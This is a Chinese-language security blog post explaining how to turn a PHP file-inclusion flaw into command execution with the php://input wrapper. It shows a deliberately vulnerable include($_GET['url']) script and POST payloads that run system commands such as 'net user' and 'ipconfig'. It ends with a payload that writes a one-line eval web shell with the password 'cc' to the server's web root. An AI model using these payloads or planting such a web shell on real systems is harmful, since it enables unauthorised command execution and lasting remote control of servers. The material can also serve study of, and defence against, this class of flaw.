蜗蜗侠's Blog-关注网络安全移动版

主页 > 技术笔记 >

PHP文件包含之通过PHP内置协议执行任意命令

测试发现php5.3以上的版本不可用
 
php内置协议列表:http://php.net/manual/zh/wrappers.php
利用条件:allow_url_include = On
首先我们确定存在任意文件包含,这里我们使用测试代码

<?php include($_GET['url']); ?>

访问URL:http://127.0.0.1/111332.php?url=php://input      (111332.php是我随便起的文件名)
然后通过post提交数据:

<?php system("net user")?>

PHP文件包含之通过PHP内置协议执行任意命令 - sn0w - 雪花 -  root@sn0w.top
命令通过php代码被执行

<?php system("ipconfig")?>

PHP文件包含之通过PHP内置协议执行任意命令 - sn0w - 雪花 -  root@sn0w.top
 
同理我们也可以通过执行php写入一句话。

<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>

执行后在根目录生成一个xxx.php的一句话,密码cc,不过写入文件需要allow_url_fopen=on.
PHP文件包含之通过PHP内置协议执行任意命令 - sn0w - 雪花 -  root@sn0w.top
(责任编辑:蜗蜗侠)